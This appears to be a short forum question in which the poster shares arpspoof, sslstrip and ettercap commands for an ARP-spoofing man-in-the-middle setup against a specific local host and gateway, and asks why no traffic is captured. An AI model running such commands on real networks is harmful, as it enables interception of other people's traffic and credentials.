Here are the commands I use:
arpspoof -i wlan0 -t 192.168.1.66 192.168.1.254 sslstrip -a ettercap -T -q -i eth0
But nothing else gets printed such as the packets or requests. I'm not sure what to do... I have a compatible wireless card.
airmon-ng Interface driver chipset wlan0 RTL8187 rtl8187 [phy0]